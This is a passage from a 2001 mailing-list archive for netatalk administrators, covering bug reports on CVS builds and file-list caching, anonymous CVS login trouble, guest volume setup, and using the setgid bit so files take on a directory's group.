Then add dir Files 4 (from command line), it now looks like:
Files 1
Files 2
Files 3

Clicking on Files 3 gives a =B3file not found=B2 error.  The only way to get it
to refresh the file list is to log off server and back in again.  Didn=B9t
have any of these problems with previous versions, just the usual open and
close the window to refresh thing (Appletalk always sucked for this),
opening and closing window, adding new files/folders it still does not
=8Crefresh=B9 the listing so to speak.

Mark

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Mark Guertin, IT Manager
Artshouse Communications Inc.
345 Adelaide Street West, Main Floor
Toronto, ON, Canada   M5V 1R5
Phone (416) 340-6284 x222
Fax - (416) 581-1252


--B_3084872194_429719
Content-type: text/html; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable

<HTML>
<HEAD>
<TITLE>--without-pam broken in latest CVS again? And file list cacheing wei=
rdness</TITLE>
</HEAD>
<BODY>
<FONT FACE=3D"Verdana">Can anyone verify this? &nbsp;Having same problems wit=
h latest CVS is I did with pre6, specified &#8212;without-pam, the configure=
 output shows it is disabling pam, but I am unable to login with any methods=
...<BR>
<BR>
Moral of the story, Never try to build a production server with beta softwa=
re ;) (I wish it was an option here)<BR>
<BR>
Also found an issue with last week CVS (can&#8217;t verify in this one yet)=
, but when manually moving a new directory into the netatalk shared folder, =
it seems to pull up a file list from it&#8217;s last cache..hard to explain,=
 lemme give you an example.<BR>
<BR>
Directory listing starts like:<BR>
Files 1<BR>
Files 2<BR>
<BR>
I add a dir called Files 3 (from command line, not thru netatalk/mac), then=
 it looks like (from apple share):<BR>
Files 1<BR>
Files 2<BR>
Files 3<BR>
<BR>
I remove Files 3 (from command line), it looks like:<BR>
Files 1<BR>
Files 2<BR>
<BR>
Then add dir Files 4 (from command line), it now looks like:<BR>
Files 1<BR>
Files 2<BR>
Files 3<BR>
<BR>
Clicking on Files 3 gives a &#8220;file not found&#8221; error. &nbsp;The o=
nly way to get it to refresh the file list is to log off server and back in =
again. &nbsp;Didn&#8217;t have any of these problems with previous versions,=
 just the usual open and close the window to refresh thing (Appletalk always=
 sucked for this), opening and closing window, adding new files/folders it s=
till does not &#8216;refresh&#8217; the listing so to speak.<BR>
<BR>
Mark<BR>
<BR>
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<BR>
Mark Guertin, IT Manager<BR>
Artshouse Communications Inc.<BR>
345 Adelaide Street West, Main Floor<BR>
Toronto, ON, Canada &nbsp;&nbsp;M5V 1R5<BR>
Phone (416) 340-6284 x222<BR>
Fax - (416) 581-1252<BR>
</FONT>
</BODY>
</HTML>


--B_3084872194_429719--


From netatalk.administrators-errors@umich.edu  Tue Oct  2 13:18:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA19060
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 13:18:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA23462
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 13:18:19 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA23450
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 13:18:18 -0400 (EDT)
Received: from smtp018.mail.yahoo.com (smtp018.mail.yahoo.com [216.136.174.115])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA23410
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 13:18:17 -0400 (EDT)
Received: from 207-229-148-134.d.enteract.com (HELO ?10.22.96.45?) (207.229.148.134)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 2 Oct 2001 17:18:16 -0000
X-Apparently-From: <iclnx@yahoo.com>
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 02 Oct 2001 12:16:49 -0500
Subject: powerprint
From: Isaac <iclnx@yahoo.com>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B7DF60B0.1B6F%iclnx@yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

hi,

can anyone point me to resources on using the old serial powerprint cable to
share a HP laserjet 4 with netatalk?  this is of course for linux PPC. (SuSE
7.0).

i heard the USB powerprint works without much special effort, but I don't
have USB.

-i


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com


From netatalk.administrators-errors@umich.edu  Tue Oct  2 14:21:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22183
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 14:21:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA27976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 14:21:47 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA27971
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 14:21:46 -0400 (EDT)
Received: from mail44.fg.online.no (mail44-s.fg.online.no [148.122.161.44])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA27902
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 14:21:44 -0400 (EDT)
Received: from 130.67.7.57 (ti100710a060-0183.dialup.online.no [130.67.7.57])
	by mail44.fg.online.no (8.9.3/8.9.3) with SMTP id UAA22642
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 20:21:41 +0200 (MET DST)
Date: 02 Oct 2001 20:17:53 +0200
Message-ID: <937415010gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: CVS problems...
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA22183

# cvs -d:pserver:anonymous@cvs.netatalk.sourceforge.net:/cvsroot/netatalk login
Logging in to :pserver:anonymous@cvs.netatalk.sourceforge.net:2401/cvsroot/netatalk
CVS password:
cvs login: failed to open /root/.cvspass for reading: No such file or directory
cvs [login aborted]: fatal error: exiting

Im new to CVS BTW
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"


From netatalk.administrators-errors@umich.edu  Tue Oct  2 14:38:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA22912
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 14:38:25 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA00614
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 14:38:25 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA00600
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 14:38:24 -0400 (EDT)
Received: from smtpproxy1.mitre.org (smtpproxy1.mitre.org [129.83.20.90])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA00536
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 14:38:23 -0400 (EDT)
Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58])
	by smtpproxy1.mitre.org (8.11.3/8.11.3) with ESMTP id f92IcHE28561;
	Tue, 2 Oct 2001 14:38:17 -0400 (EDT)
Received: from MAILHUB2 (mailhub2.mitre.org [129.83.221.18])
	by smtpsrv1.mitre.org (8.11.3/8.11.3) with ESMTP id f92IcFf27474;
	Tue, 2 Oct 2001 14:38:16 -0400 (EDT)
Received: from bear.mitre.org (129.83.183.242) by mailhub2.mitre.org with SMTP
        id 7917223; Tue, 02 Oct 2001 14:38:14 -0400
Date: Tue, 2 Oct 2001 14:38:15 -0400 (EDT)
From: "William R. Knox" <wknox@mitre.org>
To: Gjermund G Thorsen <gjermund@mac.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: CVS problems...
In-Reply-To: <937415010gjermund@mac.com>
Message-ID: <Pine.GSO.4.33.0110021436400.3369-100000@bear.mitre.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by terminator.rsug.itd.umich.edu id OAA22912

You can just do a "touch /root/.cvspass" before doing the login - this
should solve your problem. In accordance with the rule of only doing as
root what must be done as root, you may want to get the files and build
netatalk as a non-privileged user and then do the install as root. It's
just a good habit to cultivate.

Good luck.

			Bill Knox
			Senior Operating Systems Programmer/Analyst
			The MITRE Corporation

On 2 Oct 2001, Gjermund G Thorsen wrote:

> Date: 02 Oct 2001 20:17:53 +0200
> From: Gjermund G Thorsen <gjermund@mac.com>
> To: netatalk-admins@umich.edu
> Subject: CVS problems...
> Resent-Date: Tue, 2 Oct 2001 14:21:48 -0400 (EDT)
> Resent-From: netatalk-admins@umich.edu
>
> # cvs -d:pserver:anonymous@cvs.netatalk.sourceforge.net:/cvsroot/netatalk login
> Logging in to :pserver:anonymous@cvs.netatalk.sourceforge.net:2401/cvsroot/netatalk
> CVS password:
> cvs login: failed to open /root/.cvspass for reading: No such file or directory
> cvs [login aborted]: fatal error: exiting
>
> Im new to CVS BTW
> --
> Yours Sincerely,
>
> Gjermund Gusland Thorsen
>
>
>
> "Im just sitting here listening to the scream of the butterfly"
>
>



From netatalk.administrators-errors@umich.edu  Tue Oct  2 14:53:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA23550
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 14:53:27 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA22846
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 14:53:26 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA22829
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 14:53:26 -0400 (EDT)
Received: from mail48.fg.online.no (mail48-s.fg.online.no [148.122.161.48])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id OAA22783
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 14:53:23 -0400 (EDT)
Received: from 130.67.7.57 (ti100710a060-0183.dialup.online.no [130.67.7.57])
	by mail48.fg.online.no (8.9.3/8.9.3) with SMTP id UAA22790
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 20:53:19 +0200 (MET DST)
Date: 02 Oct 2001 20:49:31 +0200
Message-ID: <937416910gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Re: CVS problems...
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA23550

Gr8! I got it down alright, but there is no configure file! Where did it go???

or am I supposed to use:

./install-sh <<with some funky parameters?>>>?????
-- 
Yours Sincerely,

Gjermund Gusland Thorsen



"Im just sitting here listening to the scream of the butterfly"

On tirsdag 2. oktober 2001 20:38, William R. Knox <wknox@mitre.org> wrote:
>You can just do a "touch /root/.cvspass" before doing the login - this
>should solve your problem. In accordance with the rule of only doing as
>root what must be done as root, you may want to get the files and build
>netatalk as a non-privileged user and then do the install as root. It's
>just a good habit to cultivate.
>
>Good luck.
>
>			Bill Knox
>			Senior Operating Systems Programmer/Analyst
>			The MITRE Corporation
>
>On 2 Oct 2001, Gjermund G Thorsen wrote:
>
>> Date: 02 Oct 2001 20:17:53 +0200
>> From: Gjermund G Thorsen <gjermund@mac.com>
>> To: netatalk-admins@umich.edu
>> Subject: CVS problems...
>> Resent-Date: Tue, 2 Oct 2001 14:21:48 -0400 (EDT)
>> Resent-From: netatalk-admins@umich.edu
>>
>> # cvs -d:pserver:anonymous@cvs.netatalk.sourceforge.net:/cvsroot/netatalk login
>> Logging in to :pserver:anonymous@cvs.netatalk.sourceforge.net:2401/cvsroot/netatalk
>> CVS password:
>> cvs login: failed to open /root/.cvspass for reading: No such file or directory
>> cvs [login aborted]: fatal error: exiting
>>
>> Im new to CVS BTW
>> --
>> Yours Sincerely,
>>
>> Gjermund Gusland Thorsen
>>
>>
>>
>> "Im just sitting here listening to the scream of the
>butterfly"
>>
>>
>
>


From netatalk.administrators-errors@umich.edu  Tue Oct  2 15:06:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA24190
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 2 Oct 2001 15:06:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA12253
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 2 Oct 2001 15:06:24 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA12230
	for netatalk.administrators-members@umich.edu; Tue, 2 Oct 2001 15:06:23 -0400 (EDT)
Received: from univrel.pr.uconn.edu (univrel.pr.uconn.edu [137.99.59.30])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA12202
	for <netatalk-admins@umich.edu>; Tue, 2 Oct 2001 15:06:23 -0400 (EDT)
Received: from univrel.pr.uconn.edu (test.pr.uconn.edu [137.99.59.90])
	by univrel.pr.uconn.edu (8.11.6/8.11.6) with ESMTP id f92J6LG20315;
	Tue, 2 Oct 2001 15:06:21 -0400
Message-ID: <3BBA10AD.9000309@univrel.pr.uconn.edu>
Date: Tue, 02 Oct 2001 15:08:29 -0400
From: jeff <jeff@univrel.pr.uconn.edu>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.4) Gecko/20010914
X-Accept-Language: en-us
MIME-Version: 1.0
To: Gjermund G Thorsen <gjermund@mac.com>
CC: netatalk-admins@umich.edu
Subject: Re: CVS problems...
References: <937416910gjermund@mac.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Gjermund G Thorsen wrote:

> Gr8! I got it down alright, but there is no configure file! Where did it go???
> 
> or am I supposed to use:
> 
> ./install-sh <<with some funky parameters?>>>?????

Run the ./autogen.sh script. It will generate configure and all of the 
Makefile.in files.

Jeff


From netatalk.administrators-errors@umich.edu  Wed Oct  3 12:10:10 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id MAA14520
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 12:10:10 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA00142
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 12:10:10 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA00079
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 12:10:08 -0400 (EDT)
Received: from mail.ucs.uindy.edu (balrog.ucs.uindy.edu [192.146.191.11])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA00043
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 12:10:06 -0400 (EDT)
Received: from uindy.edu (icculus.ucs.uindy.edu [192.146.191.78])
	by mail.ucs.uindy.edu (Postfix) with ESMTP id 6AE2022FAE
	for <netatalk-admins@umich.edu>; Wed,  3 Oct 2001 11:22:37 -0500 (EST)
Message-ID: <3BBB382F.FFFD647F@uindy.edu>
Date: Wed, 03 Oct 2001 11:09:19 -0500
From: "Kelly S. Smelser" <ksmelser@uindy.edu>
Organization: University of Indianapolis
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: netatalk-admins@umich.edu
Subject: File Permissions
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

    I am trying to setup a class "Deliver File" volume in which members
of the UNIX group associated with University faculty have RX access and
students have WX access.  That is, students may write to the volume but
may not view the submissions to the volume by other students.  What I
found is that despire the fact that the directory permissions in UNIX
are set to RWXR-X-WX there is a problem because Macintosh files are not
copied with proper permissions on them.  Thus, we find files gaining
permissions in the "Deliver File" that they should not have because they
are not properly assuming the permissions of the parent directory.  I've
been looking over man pages and haven't found a way to solve this
problem.  Does anyone have any suggestions?

K.

--
Kelly S. Smelser
Labs Manager, Client Services (Information & Technology Services)
Univeristy of Indianapolis




From netatalk.administrators-errors@umich.edu  Wed Oct  3 13:00:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA17119
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 13:00:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA05753
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 13:00:24 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA05739
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 13:00:23 -0400 (EDT)
Received: from mail50.fg.online.no (mail50-s.fg.online.no [148.122.161.50])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA05679
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 13:00:21 -0400 (EDT)
Received: from 130.67.48.233 (ti100710a064-0105.dialup.online.no [130.67.48.233])
	by mail50.fg.online.no (8.9.3/8.9.3) with SMTP id TAA27577
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 19:00:18 +0200 (MET DST)
Date: 03 Oct 2001 18:56:30 +0200
Message-ID: <937496512gjermund@mac.com>
From: Gjermund G Thorsen <gjermund@mac.com>
Subject: Making guest
To: <netatalk-admins@umich.edu>
X-Mailer: QuickMail Pro 2.1 (Mac)
X-Priority: 3
MIME-Version: 1.0
Reply-To: Gjermund G Thorsen <gjermund@mac.com>
Content-Type: text/plain; charset="US-Ascii"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id NAA17119

I made guestvolume... with no problems, but how do I set which folder guestvolume points to? Now it points to /home , with no read privs, for writing, nor reading.


From netatalk.administrators-errors@umich.edu  Wed Oct  3 16:14:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26483
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 16:14:21 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA29281
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 16:14:21 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA29274
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 16:14:20 -0400 (EDT)
Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA29241
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 16:14:19 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 15:14:15 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 15:14:13 -0500
Date: Wed, 3 Oct 2001 15:14:13 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: File Permissions
In-Reply-To: <3BBB382F.FFFD647F@uindy.edu>
Message-Id: <Pine.SOL.4.20.0110031512200.26970-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 10/03/01, Kelly S. Smelser wisely declared:

>     I am trying to setup a class "Deliver File" volume in which members
> of the UNIX group associated with University faculty have RX access and
> students have WX access.  That is, students may write to the volume but
> may not view the submissions to the volume by other students.  What I
> found is that despire the fact that the directory permissions in UNIX
> are set to RWXR-X-WX there is a problem because Macintosh files are not
> copied with proper permissions on them.  Thus, we find files gaining
> permissions in the "Deliver File" that they should not have because they
> are not properly assuming the permissions of the parent directory.  I've
> been looking over man pages and haven't found a way to solve this
> problem.  Does anyone have any suggestions?

Does your unix support the 'sticky bit'? This is a flag you can set to
make all subdirectories (and files?) inherit the permissions of the parent
folder. But not all unix platforms support it.  Let us know which unix
you're using, and we may be able to give more specific info.

-Karen


-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Wed Oct  3 16:17:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA26827
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 16:17:07 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA13472
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 16:17:06 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA13459
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 16:17:06 -0400 (EDT)
Received: from mhub-w5.tc.umn.edu (mhub-w5.tc.umn.edu [160.94.160.51])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA13428
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 16:17:05 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 15:17:04 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 15:17:01 -0500
Date: Wed, 3 Oct 2001 15:17:01 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: Making guest
In-Reply-To: <937496512gjermund@mac.com>
Message-Id: <Pine.SOL.4.20.0110031514390.26970-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 10/03/01, Gjermund G Thorsen wisely declared:

> I made guestvolume... with no problems, but how do I set which folder
> guestvolume points to? Now it points to /home , with no read privs,
> for writing, nor reading.

Have you edited the /usr/local/etc/netatalk/AppleVolumes.default file yet
(the location of that file may change, but that's the default location)?
What are the unix permissions on the folder you want to be the guest
volume?

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz


From netatalk.administrators-errors@umich.edu  Wed Oct  3 17:48:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA02482
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 17:48:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA17140
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 3 Oct 2001 17:48:01 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id RAA17121
	for netatalk.administrators-members@umich.edu; Wed, 3 Oct 2001 17:48:00 -0400 (EDT)
Received: from mhub-w4.tc.umn.edu (mhub-w4.tc.umn.edu [160.94.160.49])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id RAA17080
	for <netatalk-admins@umich.edu>; Wed, 3 Oct 2001 17:47:59 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub-w4.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 3 Oct 2001 16:47:59 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP; Wed, 3 Oct 2001 16:47:58 -0500
Date: Wed, 3 Oct 2001 16:47:58 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: "Kelly S. Smelser" <ksmelser@uindy.edu>
cc: netatalk-admins@umich.edu
Subject: Re: File Permissions
In-Reply-To: <3BBB76AC.EF5B2BD5@uindy.edu>
Message-Id: <Pine.SOL.4.20.0110031635430.16857-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


on 10/03/01, Kelly S. Smelser wisely declared:

> We are running Linux Redhat 7.1.  It does support the "sticky bit", but
> I haven't implemented it before.  Do you have information on setting it
> up?  If not, I can look it up.  Thanks.

First, I was incorrect. It's not the stick bit, it's the setgid bit (set
group ID) bit. 

I don't run redhat, so I can't point you to a specific man page, but I got
most of my info on this stuff from Evi Nemeth's "Unix System
Administration Handbook" which is chock full of useful advice (and one or
two pieces of not-so good advice, but even those are debatable). Here's
what it says about setguid:

(3rd. ed, chap 5.5, pg. 69):

"The bits with octal values 4000 and 2000 are the setuid and setgid
bits. These bits allow programs to acess files and processes that would
otherwise be off-limits to the users that run them. ... When set on a
directory, the setgid bit causes newly created files within the directory
to take on the group membership of the directory rather than the defualt
group of the user that created the file. This convention makes it easier
to share a directory of files among several users, as long as they all
belong to a common group. Check your system before relying on this
feature, since not all version of UNIX provide it. ... This interpretation
of the setgid bit is unrelated to it's meaning when set on an executable
file, but there is never any ambiguity as to which meaning is
appropriate." (any typos are mine)

NOTE: The SETUID bit is VERY dangerous. If you set it on an executable,
and the executable is owned by root, anyone who runs that executable is
root for the duration of that executable's run, so a clever person can
leverage that into a full-scale compromise. The SETGID bit also has
implications that way, so be careful where you set it.

You set it by doing a chmod 2777 or 2775, or whatever. It's that first
2 bit.

-Karen

-                                                                  -
    Karen Swanberg | Sys Admin | Dept. of Geology and Geophysics    
206 Pillsbury Hall | 310 Pillsbury Ave. SE | University of Minnesota
     Minneapolis, MN 55455  (612) 624-6541  (612) 625-3819 (f)

              * <---- Tribble   . <--- Tribble.tgz



From netatalk.administrators-errors@umich.edu  Wed Oct  3 17:56:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA02862
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 3 Oct 2001 17:56:08 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id RAA04210
